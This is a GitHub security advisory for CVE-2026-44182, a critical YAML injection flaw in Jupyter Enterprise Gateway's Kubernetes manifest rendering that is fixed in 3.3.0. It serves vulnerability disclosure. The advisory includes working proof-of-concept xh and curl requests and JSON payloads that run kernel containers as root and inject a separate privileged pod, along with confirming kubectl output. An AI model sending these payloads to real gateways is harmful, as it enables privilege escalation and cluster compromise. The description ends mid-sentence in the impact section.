GitHub Advisoryadvisory · PyPI

GHSA-cfw7-6c5v-2wjq Jupyter Enterprise Gateway: Kubernetes Manifest Injection in Jinja2 Template Rendering

CRITICAL Published 2026-06-03 Modified 2026-06-03 Official page ↗
Aliases
CVE-2026-44182
Ecosystem
PyPI
Packages
jupyter_enterprise_gateway
Severity
Critical
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Weaknesses
CWE-74
Reviewed
2026-06-03

Affected packages

• PyPI jupyter_enterprise_gateway: < 3.3.0 → fixed in 3.3.0

Description

Summary The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like `securityContext` and inject multi-document YAML to create additional unintended Kubernetes resources. Details The server interpolates untrusted environment variables (e.g., `KERNEL_XXX`) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate `securityContext` keys, where the last one prevails), and inject document boundaries (`---` for new documents, `...` for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods. The Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for YAML injection. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77 These values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137 PoC These proof of concepts are injecting in the `KERNEL_WORKING_DIR` env var, but any of the env vars could have been used. By default, the `KERNEL_WORKING_DIR` will be ignored unless `EG_MIRROR_WORKING_DIRS` is truthy for the `enterprise-gateway`. This is controlled by the `mirrorWorkingDirs` value in the Helm chart. Using `ducaale/xh`: ```bash xh http://localhost:31529/api/kernels env:[email protected] ``` `env-working-dir-exploit.yaml`: ```json { "KERNEL_POD_NAME": "working-dir-root", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } ``` Resulting request: ``` POST /api/kernels HTTP/1.1 Accept: application/json, */*;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Connection: keep-alive Content-Length: 233 Content-Type: application/json Host: localhost:31529 User-Agent: xh/0.24.0 { "env": { "KERNEL_POD_NAME": "working-dir-root", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } } ``` Curl equivalent command: ```bash curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{"env":{"KERNEL_POD_NAME":"working-dir-root","KERNEL_NAMESPACE":"notebooks","KERNEL_WORKING_DIR":"\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \""}}' ``` The rendered Jinja2 template: ```yaml This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes. Substitution parameters are processed by the launch_kubernetes.py code located in the same directory. Some values are factory values, while others (typically prefixed with 'kernel_') can be provided by the client. This file can be customized as needed. No changes are required to launch_kubernetes.py provided kernel_ values are used - which be automatically set from corresponding KERNEL_ env values. Updates will be required to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced. apiVersion: v1 kind: Pod metadata: name: "working-dir-root" namespace: "notebooks" labels: kernel_id: "186f4ecf-bf90-40b8-b210-a0987bfce927" app: enterprise-gateway component: kernel source: kernel-pod.yaml annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" spec: restartPolicy: Never serviceAccountName: "default" NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled. WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate will result in the new kernel pod's effective group of 0 (root)! although the user will correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the "kernel_uid" and "kernel_gid" values. securityContext: runAsUser: 1000 runAsGroup: 100 fsGroup: 100 containers: • image: "elyra/kernel-py:3.2.3" name: "working-dir-root" env: Add any custom envs here that aren't already configured for the kernel's environment • name: MY_CUSTOM_ENV value: "my_custom_value" workingDir: "/tmp" INJECTION securityContext: runAsUser: 0 runAsGroup: 0 fsGroup: 100 HAHA - stray quote " volumeMounts: Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client ``` Normally the container would run as `uid=1000(jovyan) gid=100(users) groups=100(users)`. This injects a pod `securityContext` with `runAsUser: 0` and `runAsGroup: 0` (and `fsGroup: 100`). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as `uid=0(root) gid=0(root) groups=0(root),100(users)`. In addition to injecting a pod level `securityContext` it is also possible to inject a container level `securityContext` which supports the `privileged` field. Injecting a Pod By injecting `...` and `---` it is possible to use multi-document YAML to inject Kubernetes resources. ```bash xh http://localhost:31529/api/kernels env:[email protected] ``` `env-working-dir-exploit-pod.yaml`: ```json { "KERNEL_POD_NAME": "working-dir-root-pod", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n name: injected-pod\\n\\\n spec:\\n containers:\\n - name: injected-container\\n image: nginx\\n ports:\\n - containerPort: 80\\n securityContext:\\n privileged: true\\n runAsUser: 0\\n runAsGroup: 0\\n...\\n# HAHA - stray quote\"" } ``` This is rendered as (skipping the beginning of the rendering before the inject): ```yaml workingDir: "/tmp" INJECTION ... --- apiVersion: v1 kind: Pod metadata: name: injected-pod spec: containers: • name: injected-container image: nginx ports: • containerPort: 80 securityContext: privileged: true runAsUser: 0 runAsGroup: 0 ... HAHA - stray quote" volumeMounts: Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client ``` `kubectl get pods -n notebooks` ``` NAME READY STATUS RESTARTS AGE injected-pod 1/1 Running 0 4s working-dir-root-pod 1/1 Running 0 4s ``` The `injected-pod` has been created in addition to the `working-dir-root-pod`. `kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}'`: ```json { "privileged": true, "runAsGroup": 0, "runAsUser": 0 } ``` Impact An attacker can create pods running with arbitrary, `image`, `securityContext`, and `volumeMounts` including `hostPath` mounts. Privileged pods can be created. Arbitrary Kubernetes resources of kinds: `Pod`, `Secret`, `PersistentVolumeClaim`, `PersistentVolume`, `Service`, and `ConfigMap` can be created. Repeated exploitation can compromise all work…

Related

Alias · CVE (1)

  • CVE-2026-44182 Jupyter Enterprise Gateway launches remote Jupyter Notebook kernels across distributed clusters like Apache Spark, Kubernetes, and Docker… vulnerability

Weakness · CWE (1)

  • CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component weakness

References